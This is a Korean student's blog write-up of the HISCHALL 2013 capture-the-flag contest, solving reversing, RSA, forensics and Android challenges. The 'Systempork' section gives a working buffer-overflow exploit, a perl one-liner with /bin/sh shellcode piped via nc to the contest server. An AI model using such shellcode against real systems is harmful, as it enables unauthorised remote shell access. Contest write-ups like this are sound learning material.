본문 바로가기
Write-up

HISCHALL 2013 문제 풀이 Write up

by dladbru 2013. 11. 17.

이미지 부분이 깨지니 본문 아래 링크에서 PDF로 봐주시면 감사하겠습니다.

Created by BCL easyConverter SDK 3 (HTML Version)


HISCHALL 2013

이름:강명석

ID:dladbru

BAAASIC GNIREENIGNE (50)

히히히

Solver:25

문제를 받아 올리디버거로 열어보면,“input string:“를 출력해준 뒤 값을 입력받 는다.

입력받은 다음 BreakPoint에 걸리게 아래와 같이 걸어두었다.

input값으로 “1234567890“ 을 입력해 주었다.

012F156C

B8 01000000

MOV EAX,0x1

012F1571

6BC0 05

IMUL EAX,EAX,0x5

012F1574

0FBE4C05 E4

MOVSX ECX,BYTE PTR SS:[EBP+EAX-0x1C]

012F1579

83F9 45

CMP ECX,0x45

012F157C

0F85 50010000

JNZ basic50!.012F16D2

scanf("%s",&input);

if(input+5!=0x45) goto 실패

위와 같이 볼 수 있으며 1234567890으로 보았을 때 6을 쓴 위치에 0x45(E)를 써 주 어야한다. (1234567890->12345E67890)

다음 연산으로는

012F1582

B8 01000000

MOV EAX,0x1

012F1587

C1E0 00

SHL EAX,0x0

012F158A

0FBE4C05 E4

MOVSX ECX,BYTE PTR SS:[EBP+EAX-0x1C]

012F158F

83F1

09

XOR ECX,0x9

012F1592

83F9

70

CMP ECX,0x70

012F1595

0F85

35010000

JNZ basic50!.012F16D0

if((input+1)^0x9!=0x70) goto 실패

위와 같은데 SHL EAX,0x0 은 의미가 없으므로 제외한 후 아래와 같이 되므로

0x70^0x9를 한 0x79(y)를 써주었다. (12345E7890-> 1y345E7890)

또 다음의 연산에서는

012F159B

B8 01000000

MOV EAX,0x1

012F15A0

6BC0 0F

IMUL EAX,EAX,0xF

012F15A3

0FBE4C05 E4

MOVSX ECX,BYTE PTR SS:[EBP+EAX-0x1C]

012F15A8

83E9

0A

SUB ECX,0xA

012F15AB

83F9

57

CMP ECX,0x57

012F15AE

0F85 1C010000

JNZ basic50!.012F16D0

if((input+15)-0xA!=0x57) goto 실패

위의 결과로 예상할 수 있는 것은 비밀번호가 16자리 이상이라는 것을 알 수 있었 다.

역연산을 거치게 되면 (0x57+0xA=0x61(a) -> 1y345E7890?????a)

strcmp 명령어를 썼는지 “paktdlTdm“ 하고 내가 입력한 7890을 비교한다. 두 개를 같게 해줘야 할 것 같으므로 (1y345E7890?????a -> 1y345EpaktdlTdma)

변경해주고보니 1 과 345가 해결되지 않았다. 더 F8로 내려가다 보면

012F1660

B8

01000000

MOV EAX,0x1

012F1665

6BC0

00

IMUL EAX,EAX,0x0 ;0으로 EAX초기화

012F1668

0FBE4C05 E4

MOVSX ECX,BYTE PTR SS:[EBP+EAX-0x1C]

012F166D

83F9

64

CMP ECX,0x64

012F1670

75

5E

JNZ SHORT basic50!.012F16D0

‘1’==0x64(d) 와 같게 해 준 다음 F8로 더 내려가다 보면 dy345EpaktdlTdma

345와 “aka”를 마지막으로 비교한다! “aka”로 바꿔주자!

Key : dyakaEpaktdlTdma (요맘떼맛있음)

Ron_Adi_Leonard (50)

N=A0049667DECE297DCA63B07553C18659

D=FA423278809D2D846ACFA033B16F1D9

C=6BB9D18C51EDF601AEB78AEB110A2565

Plain text 를 찾아라!

Solver:14

RSA암호인가 보다. 수학적 공식으로는

C^D mod N 이지만 C^D를 버텨낼 컴퓨터는 없을 것 같다고 판단되어 알아보니 중국 인의 나머지 정리란 것을 이용한 것 같아 보이는 크랙사이트들을 뒤지기 시작했다. http://nmichaels.org/rsa.py

Public Modulus:(N)

Private Exponent:(D) Text:(C)

각각 넣고 Decrypt를 하자 C에 hex값들이 떴다! 그것을 복호화 해보니

Key : START+HISCHALL!

Download (50)

내가 아까 뭘 다운받았더라.. 모르고 지워버려서 그러는데 내가 뭘 다 운받았었는지 봐줄 수 있어? 답은 대문자입니다.

Solver:45

문제를 다운로드 받아서 압축을 풀어보면 root 디렉터리를 옯겨온 모습이다. 다운로드는 웹 브라우저를 통해서 했을것이라 짐작하고 다른 브라우저보다 조금 모 질란 모질라의 파이어폭스를 뒤졌다. \root\.mozilla\firefox\yktthk3c.default\downloads.sqlite

파일을 찾았으나 내용이 비어있었다. 여기서 밥을 먹으면서 골똘히 생각하던 찰나

\.mozilla\firefox\yktthk3c.default\thumbnails 폴더에 있던 사진들이 생각났다.

썸네일이라 화질이 안좋지만 내눈은 2.0이므로 읽는데 무리가 없다.

Packet Sniffer와 network sniffer에 대한 내용이 있다.

대표적인 네트워크 스니퍼에는 와이어샤크(Wireshark)가 생각나서 인증을 해보니 정답이었다.

Key : WIRESHARK

Flagis1337 (50)

문제 지문이 없음. Solver:53

index.zip를 다운받고 압축을 풀어보면 index.html이 있다. 소스는 아래와 같았다.

그러니까 숫자를 때려 맞춰서 이모티콘으로 인코딩 되어있는 소스를 실행시켜야 되 는 것 같다.

9번째의 줄의 if (guess==mystery)인 부분을 -> if (guess!=mystery)

로 바꾸면 키가 99% 뜰 것이라고 생각되어 바꾼 뒤 1을 입력해보니 키가 떴다.

Key : 1337g33kn355mj

Systempork(100)

쉽습니다. Server: 210.125.73.220:1111 , 모든 보호옵션 x Solver:8

파일을 다운받으니 ELF파일이었다. IDA로 열어서 확인해보니

call _gets의 인자로 [ebp-0x408] 이 들어가는 것을 확인한 후에 지문대로 보호옵 션이 없으니 NX도 없을테고 그렇다면 스택에 실행권한이 있을거라 생각하여

Stack Buffer Overflow를 하기로 했다.

-----------------------------------------------------

lea eax, [ebp+s] ; s=-408

mov [esp],eax ; gets함수의 인자로 eax를 넣는다. call _gets ; gets 함수를 통해 값을 입력 받는다.

-----------------------------------------------------

dummy[shellcode 포함]=1036byte[1032(0x408)+4(ebp)]

shellcode는 23byte linux x86 shellcode 사용을 했다. Exploit->

(perl -e 'print "\x90"x875,"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\ xe3\x52\x53\x89\xe1\xcd\x80","\x90"x138,"\x1c\xfa\xff\xbf"';cat)|nc 210.125.73.220 1111

아래와 같이 해주었다. 그런데 쉘이 안떴다. 자세히 위의 IDA코드를 잘보니 아래와 같은 코드를 통해 리턴주소를 복구 시켜주고있었다.

mov eax,[ebp+4] ; ebp+4 는 ret주소를 가지고 있다. mov ds:myret,eax ; ret를 복구시켜주는 명령

현재 위의 IDA코드는 main함수에서 호출된 go함수였다. 그래서 선택한 방법으로는 go에서 정상적으로 리턴해서 main함수에서 ret가 조작되게 시도를 하였다. dummy를 16개 정도 추가해주니 main의 ret가 조작되는 것을 디버깅으로 확인한 후 아래와 같이 공격에 성공했다.

Key : http://www.youtube.com/watch?v=TYXbbE3W36M

비밀번호 (100)

아무도 내 비밀번호를 모를꺼야! Solver:24

apk파일을 받은뒤 zip로 바꿔 압축을 푼뒤, “classes.dex” 파일을 dex2jar을 통해 jar로 변환한후 java-Decompiler 로 열은 화면이다.

키를 umum.hischall.kr에서 가져오는 형태인데 액티비티가 MainActivity,a,b 3가지가 있다. a를 확인해보면

umum.hischall.kr를 요리해서 http://umum.hischall.kr:11011 을 만드는 것을 볼 수 있었다. 나머지는 보지도 않고 접속을 해보았더니 뜻대로 되지 않았다.

소스코드를 다시 한번 자세히 보니

String str1 = localInetAddress.getHostAddress();

위와 같은 구문에 의해서 http://IPaddress:11011 인 것을 알 수 있었다.

cmd의 nslookup명령어를 통해 ip: 210.125.73.216 인 것을 알아내어 접속을 했더니 키가 떳다.

Key : This_is_Real_K3y~

JustForFuxx (100)

인증형식 : [Integer]_[Password] ex) 1234_huh

[+] 실제로 바이너리 자체로는 답이 여러가지 이지만 잘생각해보시면 답이 한가지가됩니다.

아래 DLL을 추가해주세요!

Integer는 8자리입니다. Solver:8

파일을 열어보니 정수값을 받습니다. 그리고 무엇을 받는 맨뒤의 두자리와 3,4자리가 같다는 것을 짐작할 수 있습니다.

왠지 맨뒤에는 l이라는 점을 이용해서 h?ll?hischall -> hellohischall을 유추할 수 있습니다.

숫자가 8자리임을 바탕으로 코딩을 하였는데 키가 너무 많았습니다.

그러던 찰나에 힌트로

위와 같은 힌트가 나왔고 8자리의 숫자가 위에 있는 연도나 월일 또는 시간을 암시함을 생각해 볼 수 있습니다.

sub_411410 함수 안에 있는 구문중에

역연산으로 -를 모두다 더해서 xor 0xBC5C01을 통해 11091107이란 값을 얻었습니다.

얻은 값인 11091107에서 가장가까운 숫자를 코딩한 결과 아래와 같이 되었습니다.

Key : 11091110_hellohischall

hatehexray (600)

컼컼이는 Backtrack을 이용해 소현이 컴퓨터를 해킹했다. 그가 사용한 도구는 Metasploit이고, 사용한 Payload는 windows7_sp1_reverse_tcp였다. 파일을 훔치는데 성공을 했지만 키 값이 없어져서 숨겨진 메세지를 볼 수 없었다.

Solver:10

이 문제는 출제자의 의도가 헥스레이를 쓰지 말라는 의도로 알고 열어보지도 않았다.

aaaa 1234등 입력해보았으나 Result 에는 아래와 같이 출력될 뿐이었다.

*****************************************************

연산을 하나하나 되짚어가다가 확인을 했을때는 Solver가 6명을 넘겼을 때 였다. IRC채팅방에서는 의도대로 풀리지않았다고 말했고 나는 멘붕을 해서 ajiofjweifjweoifjawoiefjakl;efjla;kwfjelawef 이런식으로 막 입력했고

****************************3*********}**************

*대신 출력되는 값들이 보였다.

Codegate 2012 Binary 400 문제가 생각났으며 한자리 한자리 게싱을 통해 “Welcome to hischall 2013 reverse engineering problems“를 입력하자 아래와 같이 출력됬다.

마지막 *을 붙여서 인증이 안되기에 없앴더니 인증에 성공하였다.

Key : answpcnfwpwksmsgprtmfpdlfmfwjdakftlfgdjgo

[BONUS]Life is all about timing (100)

Break Thru에게 상품을 드립니다.

당신의 인생은 짧아요. 그리고 그 인생에 있어서 중요한 타이밍은 더 짧죠. 아마 이 문제를 풀면서 타이밍의 중요성을 아주 잘 알게 될거에요. 왜냐구요? 여러분은 몇밀리초 차이로 답을 맞추지 못할수도 있으니까요 (^^)/

Solver:15

문제를 받으니 패킹이 되어있었다.

그냥 실행은 되었으나 안티 디버깅이 되어있어서 올리디버그로 여는데는 실패 했다.

결국 프로그램을 연뒤에 attach를 하고 string 들을 확인해보니 아래와 같았다.

맨위에 스트링들이 수상해보인다. 인증을 해보니 Clear!

Key : ch1ck3n4ndp34c3

인강플레이어 (200)

수능이 끝나고 해설 강의를 보다가 답이 다 틀려 9등급을 받은

extr군은 화가났는데......

Solver:8

앱을 다운받아보니 위와 같이뜬다.

주목할부분이 두곳있는데 그중 한곳은 아래소스에 있다.

이것을 보고 http://210.125.73.216:1337 에 접속을 하였다.

예상대로 파일 목록이 떳다.

http://210.125.73.216:1337/readthis 의 주소로 접속해 읽고자하였지만 파일이 읽을 수 없었다. 스마트폰 기기에서는 mp4영상을 불러오는 것을 확인 하였기에 다른 연산이 있을것이라 생각하고 소스를 다시 보았다.

홈페이지 경로인 VideoURL을 가지고 연산을 한다. 얻고자 하는 파일이 readthis기준으로

http://210.125.73.216:1337/readthis + *0* + 미지의숫자(i1) i1을 얻기 위해서 역연산을 해보았다.

m과 n을 얻어야하는데 n은 i+1인데 i가 위에 0으로 선언되어 있다. m값은 m = (j*3 +12 + 32) * 16

j= “0”의 길이니까 문자열의 길이는 1이니 j에는 1에 들어가게 되어있다. j를 1로잡고 연산을 하면 m에는 753이 들어가게 된다.

합쳐진 URL은 DownloadHtml 의 인자로 들어가게 되어 다운로드를 하게 된다. http://210.125.73.216:1337/readthis*0*753

위의 주소로 접속을 해보니 File Found 라는 문구만 뜰뿐 출력이 되지 않았다. C Socket을 짜서 byte를 가져오려고 하였으나 그도 안되었다.

파일은 찾았다라니까 download에서 제일연관 있는 “.”문자열을 붙여서 하니

Key가 읽혔다.

--------------------------------------------------------------------------

Key : gugugugugugugugugugu9999999999nine

--------------------------------------------------------------------------

[BONUS] ELF Girl(100)

Break Thru에게 상품을 드립니다.

답은 md5로 인증해주세요. Solver:8

받고나서 Hex editor로 헤더를 보니 ELF파일 이기에 BackTrack을 키고 실행을 해보았다.

실행이 되지않았다.. file명령어로 무슨 파일인지 확인하였더니 ARM파일이었다. BONUS니까 쉬울거라 믿고 IDA로 열어보았다.

머릿속으로는 연산이 불가능했다. 입력을 받는 부분이 없었고 mkdir명령어와 rmdir로

폴더를 만들었다 지웠다를 반복문을 통해 반복했다. 그래서 ARM 서버를 찾던도중에 스마트폰을 떠올렸다. 스마트폰에 루팅도 하였으나 chmod를 사용하였음에도 X(실행권한)을 얻지 못해서 실패했다. 그래서 장비중에 라즈베리파이를 대여했다. 하지만 sdcard가 없어서 사용하지 못하였다.

2013년 인코그니토 강연자분이 라즈베리파이 가상머신을 주셔서 실행을 했더니 haha..라면서 종료되버렸다.

코드에 ./arrrrrm 이아닌 ./arrrrrrrrrrrrrm 으로 실행을 해야하기에 파일이름을 바꿔서 실행시켰다.

Key : 21fe4f8ead48875a1774056781914536

저의 중고생 마지막 대회였습니다.

대회 열어주신 운영진분 모두 감사합니다.

저의 중고생 마지막 대회였기에 즐거웠습니다..

HISCHALL 2013-dladbru.pdf


반응형

댓글